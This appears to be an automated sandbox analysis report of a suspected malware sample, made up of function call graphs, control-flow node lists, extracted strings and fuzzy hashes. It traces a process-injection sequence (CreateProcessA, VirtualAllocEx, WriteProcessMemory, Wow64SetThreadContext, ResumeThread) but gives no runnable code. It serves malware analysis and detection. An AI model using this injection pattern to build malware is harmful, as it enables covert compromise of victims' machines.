24518 313d74c 24518->24482 24522 313d8f6 24521->24522 24523 313d74c 24522->24523 24524 313fd98 2 API calls 24522->24524 24525 313fd88 2 API calls 24522->24525 24523->24482 24524->24523 24525->24523 24605 313fd37 24526->24605 24610 313fd48 24526->24610 24527 313e640 24531 313ddcb 24530->24531 24623 313fde1 24531->24623 24628 313fdf0 24531->24628 24532 313d74c 24532->24482 24537 3132030 Wow64SetThreadContext 24535->24537 24538 3132028 Wow64SetThreadContext 24535->24538 24536 313d74c 24536->24482 24537->24536 24538->24536 24540 313e53f 24539->24540 24542 313fd98 2 API calls 24540->24542 24543 313fd88 2 API calls 24540->24543 24541 313d74c 24541->24482 24542->24541 24543->24541 24545 313e366 24544->24545 24546 313d74c 24544->24546 24547 313fde1 2 API calls 24545->24547 24548 313fdf0 2 API calls 24545->24548 24546->24482 24547->24546 24548->24546 24550 313e34a 24549->24550 24552 313fde1 2 API calls 24550->24552 24553 313fdf0 2 API calls 24550->24553 24551 313d74c 24551->24482 24552->24551 24553->24551 24555 313e124 24554->24555 24556 313d74c 24554->24556 24641 313fed8 24555->24641 24646 313fec8 24555->24646 24556->24482 24561 313fde1 2 API calls 24559->24561 24562 313fdf0 2 API calls 24559->24562 24560 313e5bf 24561->24560 24562->24560 24564 313dd3a 24563->24564 24660 313ec29 24564->24660 24665 313ec38 24564->24665 24565 313d74c 24565->24482 24569 313e108 24568->24569 24571 313fed8 2 API calls 24569->24571 24572 313fec8 2 API calls 24569->24572 24570 313d74c 24570->24482 24571->24570 24572->24570 24575 313fd98 2 API calls 24573->24575 24576 313fd88 2 API calls 24573->24576 24574 313d74c 24574->24482 24575->24574 24576->24574 24578 313e367 24577->24578 24579 313d74c 24577->24579 24580 313fde1 2 API calls 24578->24580 24581 313fdf0 2 API calls 24578->24581 24579->24482 24580->24579 24581->24579 24583 313e125 24582->24583 24584 313d74c 24582->24584 24585 313fed8 2 API calls 24583->24585 24586 313fec8 2 API calls 24583->24586 24584->24482 24585->24584 24586->24584 24588 313fdad 24587->24588 24597 31326b0 24588->24597 24601 31326a9 24588->24601 24589 313fdcf 24589->24518 24593 313fdad 24592->24593 24595 31326b0 VirtualAllocEx 24593->24595 24596 31326a9 VirtualAllocEx 24593->24596 24594 313fdcf 24594->24518 24595->24594 24596->24594 24598 31326f4 VirtualAllocEx 24597->24598 24600 313276c 24598->24600 24600->24589 24602 31326b0 VirtualAllocEx 24601->24602 24604 313276c 24602->24604 24604->24589 24606 313fd5d 24605->24606 24615 3132030 24606->24615 24619 3132028 24606->24619 24607 313fd76 24607->24527 24611 313fd5d 24610->24611 24613 3132030 Wow64SetThreadContext 24611->24613 24614 3132028 Wow64SetThreadContext 24611->24614 24612 313fd76 24612->24527 24613->24612 24614->24612 24616 3132079 Wow64SetThreadContext 24615->24616 24618 31320f1 24616->24618 24618->24607 24620 3132030 Wow64SetThreadContext 24619->24620 24622 31320f1 24620->24622 24622->24607 24624 313fe05 24623->24624 24633 3132970 24624->24633 24637 3132968 24624->24637 24625 313fe27 24625->24532 24629 313fe05 24628->24629 24631 3132970 WriteProcessMemory 24629->24631 24632 3132968 WriteProcessMemory 24629->24632 24630 313fe27 24630->24532 24631->24630 24632->24630 24634 31329b9 WriteProcessMemory 24633->24634 24636 3132a52 24634->24636 24636->24625 24638 3132970 WriteProcessMemory 24637->24638 24640 3132a52 24638->24640 24640->24625 24642 313feed 24641->24642 24652 3132d00 24642->24652 24656 3132d08 24642->24656 24643 313ff03 24643->24556 24647 313fe67 24646->24647 24648 313fed6 24646->24648 24647->24556 24650 3132d00 ResumeThread 24648->24650 24651 3132d08 ResumeThread 24648->24651 24649 313ff03 24649->24556 24650->24649 24651->24649 24653 3132d08 ResumeThread 24652->24653 24655 3132d98 24653->24655 24655->24643 24657 3132d4c ResumeThread 24656->24657 24659 3132d98 24657->24659 24659->24643 24661 313ec38 24660->24661 24662 313ec71 24661->24662 24670 313eeb1 24661->24670 24675 313ef1f 24661->24675 24662->24565 24666 313ec4f 24665->24666 24667 313eeb1 2 API calls 24666->24667 24668 313ec71 24666->24668 24669 313ef1f 2 API calls 24666->24669 24667->24668 24668->24565 24669->24668 24671 313eeb7 24670->24671 24680 3131c80 24671->24680 24684 3131c75 24671->24684 24676 313ef47 24675->24676 24678 3131c80 CreateProcessA 24676->24678 24679 3131c75 CreateProcessA 24676->24679 24677 313f47d 24678->24677 24679->24677 24681 3131c86 CreateProcessA 24680->24681 24683 3131efc 24681->24683 24685 3131c80 CreateProcessA 24684->24685 24687 3131efc 24685->24687

                                                            Executed Functions

                                                            Function 031F1968 Relevance: 3.1, Strings: 2, Instructions: 575COMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 149 31f1968-31f19df 151 31f19e6-31f19fe 149->151 152 31f19e1 149->152 154 31f1f84-31f1f9d 151->154 155 31f1a04-31f1b71 151->155 152->151 157 31f2024-31f206d 154->157 158 31f1fa3-31f1fc5 154->158 212 31f1bab-31f1bad 155->212 213 31f1b73-31f1ba9 155->213 170 31f207f-31f2087 157->170 171 31f206f-31f207a 157->171 163 31f1fcb-31f1fd3 158->163 164 31f2269 158->164 163->164 166 31f1fd9-31f1fef 163->166 169 31f226e-31f2277 164->169 166->164 168 31f1ff5-31f201f call 31f1028 166->168 168->169 174 31f2279 169->174 175 31f2284 169->175 177 31f20ac 170->177 178 31f2089-31f20aa 170->178 176 31f2122-31f2168 171->176 174->175 185 31f2285 175->185 188 31f216e-31f219e 176->188 189 31f21fd-31f2267 176->189 179 31f20b3-31f20b5 177->179 178->179 182 31f20b7-31f20bf 179->182 183 31f20c1-31f20e1 179->183 182->176 183->176 193 31f20e3-31f20ec 183->193 185->185 188->164 196 31f21a4-31f21ab 188->196 189->169 193->164 195 31f20f2-31f2120 193->195 195->176 195->193 196->164 198 31f21b1-31f21bd 196->198 198->164 199 31f21c3-31f21cf 198->199 199->164 200 31f21d5-31f21fb 199->200 200->169 214 31f1baf-31f1bb1 212->214 215 31f1bb3-31f1bbd 212->215 213->212 216 31f1bbf-31f1bd5 214->216 215->216 218 31f1bdb-31f1be3 216->218 219 31f1bd7-31f1bd9 216->219 222 31f1be5-31f1bea 218->222 219->222 223 31f1bfd-31f1c2b 222->223 224 31f1bec-31f1bf7 222->224 228 31f1c2d-31f1c3a 223->228 229 31f1c60-31f1c6a 223->229 224->223 228->229 234 31f1c3c-31f1c49 228->234 230 31f1c6c 229->230 231 31f1c73-31f1cff 229->231 230->231 243 31f1d41-31f1d4f 231->243 244 31f1d01-31f1d3f 231->244 237 31f1c4f-31f1c5a 234->237 238 31f1c4b-31f1c4d 234->238 237->229 238->229 247 31f1d5a-31f1d93 call 31f2bc0 243->247 244->247 251 31f1d99-31f1e56 247->251 256 31f1e58-31f1e82 251->256 257 31f1e84-31f1ea0 251->257 256->257 260 31f1eae 257->260 261 31f1ea2 257->261 262 31f1eaf 260->262 261->260 262->262
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 0000000D.00000002.2553677852.00000000031F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031F0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_13_2_31f0000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: LR^q$\s^q
                                                            • API String ID: 0-2586804783
                                                            • Opcode ID: b7986c47d4ba70b1cc12c04fd6d8e7f01262050498ac0399c7c1c8e36bc1c595
                                                            • Instruction ID: 4741c3c8b24244c48fffb0bd23df85cbae93cfff92d92ae67f842c5513be7f26
                                                            • Opcode Fuzzy Hash: b7986c47d4ba70b1cc12c04fd6d8e7f01262050498ac0399c7c1c8e36bc1c595
                                                            • Instruction Fuzzy Hash: 0C327B74A01219CFDB24DF69D884AAEBBF2FF8C300F158669D449EB255DB34A941CF90
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 031F195F Relevance: 2.9, Strings: 2, Instructions: 355COMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 265 31f195f-31f19df 267 31f19e6-31f19fe 265->267 268 31f19e1 265->268 270 31f1f84-31f1f9d 267->270 271 31f1a04-31f1b71 267->271 268->267 273 31f2024-31f206d 270->273 274 31f1fa3-31f1fc5 270->274 328 31f1bab-31f1bad 271->328 329 31f1b73-31f1ba9 271->329 286 31f207f-31f2087 273->286 287 31f206f-31f207a 273->287 279 31f1fcb-31f1fd3 274->279 280 31f2269 274->280 279->280 282 31f1fd9-31f1fef 279->282 285 31f226e-31f2277 280->285 282->280 284 31f1ff5-31f201f call 31f1028 282->284 284->285 290 31f2279 285->290 291 31f2284 285->291 293 31f20ac 286->293 294 31f2089-31f20aa 286->294 292 31f2122-31f2168 287->292 290->291 301 31f2285 291->301 304 31f216e-31f219e 292->304 305 31f21fd-31f2267 292->305 295 31f20b3-31f20b5 293->295 294->295 298 31f20b7-31f20bf 295->298 299 31f20c1-31f20e1 295->299 298->292 299->292 309 31f20e3-31f20ec 299->309 301->301 304->280 312 31f21a4-31f21ab 304->312 305->285 309->280 311 31f20f2-31f2120 309->311 311->292 311->309 312->280 314 31f21b1-31f21bd 312->314 314->280 315 31f21c3-31f21cf 314->315 315->280 316 31f21d5-31f21fb 315->316 316->285 330 31f1baf-31f1bb1 328->330 331 31f1bb3-31f1bbd 328->331 329->328 332 31f1bbf-31f1bd5 330->332 331->332 334 31f1bdb-31f1be3 332->334 335 31f1bd7-31f1bd9 332->335 338 31f1be5-31f1bea 334->338 335->338 339 31f1bfd-31f1c2b 338->339 340 31f1bec-31f1bf7 338->340 344 31f1c2d-31f1c3a 339->344 345 31f1c60-31f1c6a 339->345 340->339 344->345 350 31f1c3c-31f1c49 344->350 346 31f1c6c 345->346 347 31f1c73-31f1cff 345->347 346->347 359 31f1d41-31f1d4f 347->359 360 31f1d01-31f1d3f 347->360 353 31f1c4f-31f1c5a 350->353 354 31f1c4b-31f1c4d 350->354 353->345 354->345 363 31f1d5a-31f1d93 call 31f2bc0 359->363 360->363 367 31f1d99-31f1e56 363->367 372 31f1e58-31f1e82 367->372 373 31f1e84-31f1ea0 367->373 372->373 376 31f1eae 373->376 377 31f1ea2 373->377 378 31f1eaf 376->378 377->376 378->378
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 0000000D.00000002.2553677852.00000000031F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031F0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_13_2_31f0000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: LR^q$\s^q
                                                            • API String ID: 0-2586804783
                                                            • Opcode ID: e35d6c1123f854404c3f08b9df1f6ccd2addb80ff9dd499e9544eb3aa493cbd9
                                                            • Instruction ID: 293956679c58c28d2c2909ca7beb740dec6c601995c252a558b2022bc88c5932
                                                            • Opcode Fuzzy Hash: e35d6c1123f854404c3f08b9df1f6ccd2addb80ff9dd499e9544eb3aa493cbd9
                                                            • Instruction Fuzzy Hash: CBD18D35E011299FDB14DF6AD840AAEB7F2FFC8304F168669D44AEB354DB349941CB90
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 031F19A2 Relevance: 2.8, Strings: 2, Instructions: 348COMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 381 31f19a2-31f19b8 383 31f19ba-31f19c4 381->383 384 31f19c5-31f19df 381->384 383->384 385 31f19e6-31f19fe 384->385 386 31f19e1 384->386 388 31f1f84-31f1f9d 385->388 389 31f1a04-31f1b71 385->389 386->385 391 31f2024-31f206d 388->391 392 31f1fa3-31f1fc5 388->392 446 31f1bab-31f1bad 389->446 447 31f1b73-31f1ba9 389->447 404 31f207f-31f2087 391->404 405 31f206f-31f207a 391->405 397 31f1fcb-31f1fd3 392->397 398 31f2269 392->398 397->398 400 31f1fd9-31f1fef 397->400 403 31f226e-31f2277 398->403 400->398 402 31f1ff5-31f201f call 31f1028 400->402 402->403 408 31f2279 403->408 409 31f2284 403->409 411 31f20ac 404->411 412 31f2089-31f20aa 404->412 410 31f2122-31f2168 405->410 408->409 419 31f2285 409->419 422 31f216e-31f219e 410->422 423 31f21fd-31f2267 410->423 413 31f20b3-31f20b5 411->413 412->413 416 31f20b7-31f20bf 413->416 417 31f20c1-31f20e1 413->417 416->410 417->410 427 31f20e3-31f20ec 417->427 419->419 422->398 430 31f21a4-31f21ab 422->430 423->403 427->398 429 31f20f2-31f2120 427->429 429->410 429->427 430->398 432 31f21b1-31f21bd 430->432 432->398 433 31f21c3-31f21cf 432->433 433->398 434 31f21d5-31f21fb 433->434 434->403 448 31f1baf-31f1bb1 446->448 449 31f1bb3-31f1bbd 446->449 447->446 450 31f1bbf-31f1bd5 448->450 449->450 452 31f1bdb-31f1be3 450->452 453 31f1bd7-31f1bd9 450->453 456 31f1be5-31f1bea 452->456 453->456 457 31f1bfd-31f1c2b 456->457 458 31f1bec-31f1bf7 456->458 462 31f1c2d-31f1c3a 457->462 463 31f1c60-31f1c6a 457->463 458->457 462->463 468 31f1c3c-31f1c49 462->468 464 31f1c6c 463->464 465 31f1c73-31f1cff 463->465 464->465 477 31f1d41-31f1d4f 465->477 478 31f1d01-31f1d3f 465->478 471 31f1c4f-31f1c5a 468->471 472 31f1c4b-31f1c4d 468->472 471->463 472->463 481 31f1d5a-31f1d93 call 31f2bc0 477->481 478->481 485 31f1d99-31f1e56 481->485 490 31f1e58-31f1e82 485->490 491 31f1e84-31f1ea0 485->491 490->491 494 31f1eae 491->494 495 31f1ea2 491->495 496 31f1eaf 494->496 495->494 496->496
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 0000000D.00000002.2553677852.00000000031F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031F0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_13_2_31f0000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: LR^q$\s^q
                                                            • API String ID: 0-2586804783
                                                            • Opcode ID: fef334235edfc14dd9b838e8262360f80400625f68a9e2cc3a62d02620912dfd
                                                            • Instruction ID: 4291278fccedcc7cc7ba3486a0b2e89aa4150a80e7e096688031aba6988282c7
                                                            • Opcode Fuzzy Hash: fef334235edfc14dd9b838e8262360f80400625f68a9e2cc3a62d02620912dfd
                                                            • Instruction Fuzzy Hash: C6D18C35E01129CFDB14DF6AD840AAEB7F2FFC8305F158669D44AEB258DB34A941CB90
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 031F1A16 Relevance: 2.8, Strings: 2, Instructions: 319COMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 499 31f1a16-31f1b71 517 31f1bab-31f1bad 499->517 518 31f1b73-31f1ba9 499->518 519 31f1baf-31f1bb1 517->519 520 31f1bb3-31f1bbd 517->520 518->517 521 31f1bbf-31f1bd5 519->521 520->521 523 31f1bdb-31f1be3 521->523 524 31f1bd7-31f1bd9 521->524 527 31f1be5-31f1bea 523->527 524->527 528 31f1bfd-31f1c2b 527->528 529 31f1bec-31f1bf7 527->529 533 31f1c2d-31f1c3a 528->533 534 31f1c60-31f1c6a 528->534 529->528 533->534 539 31f1c3c-31f1c49 533->539 535 31f1c6c 534->535 536 31f1c73-31f1cff 534->536 535->536 548 31f1d41-31f1d4f 536->548 549 31f1d01-31f1d3f 536->549 542 31f1c4f-31f1c5a 539->542 543 31f1c4b-31f1c4d 539->543 542->534 543->534 552 31f1d5a-31f1d93 call 31f2bc0 548->552 549->552 556 31f1d99-31f1e56 552->556 561 31f1e58-31f1e82 556->561 562 31f1e84-31f1ea0 556->562 561->562 565 31f1eae 562->565 566 31f1ea2 562->566 567 31f1eaf 565->567 566->565 567->567
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 0000000D.00000002.2553677852.00000000031F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031F0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_13_2_31f0000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: LR^q$\s^q
                                                            • API String ID: 0-2586804783
                                                            • Opcode ID: 72c7d3d46db60eb4c874d7ecc5e5172479824f1e40ac6c6f6b4c8916aaadc533
                                                            • Instruction ID: 3dfa452e3df1b6f1145f09b9fed34e187555dd93500cfe9127a51a3a37a0a35e
                                                            • Opcode Fuzzy Hash: 72c7d3d46db60eb4c874d7ecc5e5172479824f1e40ac6c6f6b4c8916aaadc533
                                                            • Instruction Fuzzy Hash: 4BC16D35E011298FDB14DF7AD850AAEB7F2BFC8305F168669D445EB358DB34A901CB90
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 071FF138 Relevance: 2.7, Strings: 2, Instructions: 247COMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 570 71ff138-71ff160 571 71ff167-71ff19b 570->571 572 71ff162 570->572 575 71ff19e-71ff1a4 571->575 572->571 576 71ff1ad-71ff1ae 575->576 577 71ff1a6 575->577 584 71ff20c-71ff22f call 71fdc78 576->584 577->576 578 71ff27f-71ff287 577->578 579 71ff45a 577->579 580 71ff4b5-71ff4d7 577->580 581 71ff1b0-71ff1d9 577->581 582 71ff430-71ff450 577->582 583 71ff38e-71ff3a9 577->583 577->584 585 71ff3ab-71ff3ae 577->585 586 71ff2c9-71ff30a call 71f5544 577->586 587 71ff1e3-71ff201 577->587 588 71ff3e2-71ff3fc 577->588 589 71ff362-71ff382 577->589 590 71ff4e1 577->590 601 71ff28d-71ff2b6 578->601 604 71ff4a3-71ff4a9 579->604 580->604 617 71ff4d9-71ff4df 580->617 581->575 608 71ff1db-71ff1e1 581->608 610 71ff41e-71ff424 582->610 613 71ff452-71ff458 582->613 592 71ff350-71ff356 583->592 598 71ff234-71ff253 584->598 599 71ff3ba-71ff3d1 585->599 623 71ff30c-71ff312 586->623 624 71ff314-71ff319 586->624 588->579 600 71ff3fe-71ff412 588->600 591 71ff384-71ff38c 589->591 589->592 591->592 606 71ff35f-71ff360 592->606 607 71ff358 592->607 598->587 622 71ff255-71ff26e 598->622 599->592 609 71ff3d7-71ff3dd 599->609 600->610 611 71ff414-71ff41c 600->611 601->575 612 71ff2bc-71ff2c4 601->612 615 71ff4ab 604->615 616 71ff4b2-71ff4b3 604->616 606->583 607->579 607->580 607->582 607->583 607->585 607->588 607->589 607->590 607->606 608->575 609->592 619 71ff42d-71ff42e 610->619 620 71ff426 610->620 611->610 612->575 613->610 615->580 615->590 615->616 616->580 617->604 619->579 620->579 620->580 620->582 620->590 620->619 622->575 625 71ff274-71ff27a 622->625 623->624 626 71ff31e-71ff34e 624->626 627 71ff31b-71ff31c 624->627 625->575 626->592 627->626
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 0000000D.00000002.2596304735.00000000071E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071E0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_13_2_71e0000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: Te^q$yv{%
                                                            • API String ID: 0-401465551
                                                            • Opcode ID: a0c64c8bac84019d973bed299bd86382386f8786ed012f71219a5421cc426bbf
                                                            • Instruction ID: 6c3c316e69cb62b3ab4eb48bfbb73bdb0092cd05dcf888f3de4d49165599bce4
                                                            • Opcode Fuzzy Hash: a0c64c8bac84019d973bed299bd86382386f8786ed012f71219a5421cc426bbf
                                                            • Instruction Fuzzy Hash: 0CB118B0E05209CFDB28CF69D584BADBBFAFF89310F149069D509A7291DB745986CF00
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 031F2EF8 Relevance: 2.7, Strings: 2, Instructions: 178COMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 630 31f2ef8-31f2f20 634 31f2f22-31f2f30 630->634 635 31f2f31 call 31f2af0 630->635 637 31f2f36-31f2f38 635->637 638 31f2f3a-31f2f48 637->638 639 31f2f49-31f2f63 637->639 641 31f304e-31f3065 639->641 642 31f2f69-31f2f76 639->642 646 31f306f 641->646 647 31f3067-31f306d 641->647 642->641 643 31f2f7c-31f2f86 642->643 643->641 645 31f2f8c-31f2f96 643->645 645->641 648 31f2f9c-31f2fb6 645->648 649 31f3079-31f30d6 646->649 650 31f3071-31f3077 646->650 647->646 651 31f2fb9-31f2fd7 648->651 650->649 651->641 652 31f2fd9-31f2ffe 651->652 652->641 655 31f3000-31f3012 652->655 655->651 656 31f3014-31f3016 655->656 657 31f3019-31f301e 656->657 657->641 659 31f3020-31f302a 657->659 659->657 661 31f302c-31f304d 659->661
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 0000000D.00000002.2553677852.00000000031F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031F0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_13_2_31f0000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: $RkIU
                                                            • API String ID: 0-2635308942
                                                            • Opcode ID: a83e9d5bd1c5d346405e66a3cbab9ef86695c20f0992c6ec4db3e2271b3ba7b0
                                                            • Instruction ID: 2ea905de1c0d7a5d90a66c21c0cc05e7b41e8f12737b6182231b24097cde97d9
                                                            • Opcode Fuzzy Hash: a83e9d5bd1c5d346405e66a3cbab9ef86695c20f0992c6ec4db3e2271b3ba7b0
                                                            • Instruction Fuzzy Hash: 1F51BE35F001158FCB14DB7DD8805AEBBB2EBC821172889BAD655C7359DB35ED428780
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 071FDCD0 Relevance: 1.5, Strings: 1, Instructions: 276COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 0000000D.00000002.2596304735.00000000071E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071E0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_13_2_71e0000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: Deq
                                                            • API String ID: 0-948982800
                                                            • Opcode ID: 48df042ea4ca289d1d3e3a498689bbb3b2d55869d75c26fe110eb930e0f393ab
                                                            • Instruction ID: e6033ac3ccd72f6c98a4710c9c2cd96648fefe913e15c453af83193ec14a7c63
                                                            • Opcode Fuzzy Hash: 48df042ea4ca289d1d3e3a498689bbb3b2d55869d75c26fe110eb930e0f393ab
                                                            • Instruction Fuzzy Hash: 3CD1E2B4E01218CFDB54CFA9D894A9DBBB2FF88310F1080A9D449AB365DB35AD85CF51
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 031F1290 Relevance: 1.5, Strings: 1, Instructions: 211COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 0000000D.00000002.2553677852.00000000031F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031F0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_13_2_31f0000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: \s^q
                                                            • API String ID: 0-4111632511
                                                            • Opcode ID: dabdb69f87889ae9535caab9de3ffc30bdcc5fbd92e38221d3c47971e93ceac9
                                                            • Instruction ID: 0040f4e918a5402569c296a386549ae7ab4585afc3b7062e4ffe3834b606b210
                                                            • Opcode Fuzzy Hash: dabdb69f87889ae9535caab9de3ffc30bdcc5fbd92e38221d3c47971e93ceac9
                                                            • Instruction Fuzzy Hash: 3581F6B8E4010EDFDF14CFAAD5849AEBBB1BF88310F10A665D402EB294DB31A941CF50
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 031F2BC0 Relevance: .2, Instructions: 240COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000D.00000002.2553677852.00000000031F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031F0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_13_2_31f0000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 62a11e8334c3677a8bcc46af7d3f1453e2b9d190a148a80b5c9fdee593eb355f
                                                            • Instruction ID: 420a3706519d1d891bfb7807670d48eeef3b1870e2e71f95737fdc5115ac46ac
                                                            • Opcode Fuzzy Hash: 62a11e8334c3677a8bcc46af7d3f1453e2b9d190a148a80b5c9fdee593eb355f
                                                            • Instruction Fuzzy Hash: 5D819D36F101159FC714DB69C894A9EB7E3AFC8710F1A85A4E44ADB365DB35EC028B80
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 031F2990 Relevance: 2.6, Strings: 2, Instructions: 138COMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 668 31f2990-31f29bc 672 31f29be-31f29c5 668->672 673 31f29c8 668->673 696 31f29c8 call 31f2961 673->696 697 31f29c8 call 31f2af0 673->697 698 31f29c8 call 31f2990 673->698 674 31f29ce-31f29d0 675 31f29dc-31f29f6 674->675 676 31f29d2-31f29d9 674->676 678 31f29fc-31f2a09 675->678 679 31f2ad9-31f2aed 675->679 678->679 680 31f2a0f-31f2a19 678->680 683 31f2aef-31f2af3 call 31f2b08 679->683 684 31f2af7-31f2afb 679->684 680->679 682 31f2a1f-31f2a29 680->682 682->679 685 31f2a2f-31f2a4a 682->685 683->684 686 31f2afd-31f2b00 684->686 687 31f2b01-31f2b07 684->687 688 31f2a4d-31f2a65 685->688 688->679 689 31f2a67-31f2a93 688->689 689->679 690 31f2a95-31f2aa6 689->690 690->688 691 31f2aa8-31f2aaa 690->691 692 31f2aad-31f2ab2 691->692 692->679 693 31f2ab4-31f2abe 692->693 693->692 694 31f2ac0-31f2ad6 693->694 696->674 697->674 698->674
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 0000000D.00000002.2553677852.00000000031F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031F0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_13_2_31f0000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: $RkIU
                                                            • API String ID: 0-2635308942
                                                            • Opcode ID: 988245eb1dcd5cb2bcdb24a825cf5ea830df02b22f58429c60ddb0612c4bdfb5
                                                            • Instruction ID: 94d60fe5b22e80b8fccc381adc6228f926fc9d2623fe5ec2ddfdf993549ccffd
                                                            • Opcode Fuzzy Hash: 988245eb1dcd5cb2bcdb24a825cf5ea830df02b22f58429c60ddb0612c4bdfb5
                                                            • Instruction Fuzzy Hash: FD418F35F0011A8FCB10CFA9D8805AEFBB6FB88311B58CA66D615DBB05D735E9528B90
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 031F4370 Relevance: 2.6, Strings: 2, Instructions: 93COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 0000000D.00000002.2553677852.00000000031F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031F0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_13_2_31f0000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: Te^q$Te^q
                                                            • API String ID: 0-3743469327
                                                            • Opcode ID: 24e7949b7c32dbbdd3d70437499101df4a747c2eaadea16458b940ba39884b47
                                                            • Instruction ID: 0dc303c6ff35fd233252781e2236e6a5ed1479e587d82a807fe3528787e53e4b
                                                            • Opcode Fuzzy Hash: 24e7949b7c32dbbdd3d70437499101df4a747c2eaadea16458b940ba39884b47
                                                            • Instruction Fuzzy Hash: A4319E74B002459FCB04EBB9D5A4AADBFE2AF89200F2545AAE005FB365DF759C05CB90
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 031F4390 Relevance: 2.6, Strings: 2, Instructions: 84COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 0000000D.00000002.2553677852.00000000031F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031F0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_13_2_31f0000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: Te^q$Te^q
                                                            • API String ID: 0-3743469327
                                                            • Opcode ID: 176685c4225487269692d7916259c08516736e157d171e100b2a760b42e463f2
                                                            • Instruction ID: a0494eda3c589f6d51378da049bd552cbac8ac837c5682163c59b47151077a96
                                                            • Opcode Fuzzy Hash: 176685c4225487269692d7916259c08516736e157d171e100b2a760b42e463f2
                                                            • Instruction Fuzzy Hash: 55318174B002099FCB04EFA9D5549ADBAE7AF8C200F244569E106FF365DF75DD058B90
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03131C75 Relevance: 1.8, APIs: 1, Instructions: 265processCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 03131EE7
                                                            Memory Dump Source
                                                            • Source File: 0000000D.00000002.2552988065.0000000003130000.00000040.00000800.00020000.00000000.sdmp, Offset: 03130000, based on PE: false
                                                            Joe Sandbox IDA Plugin
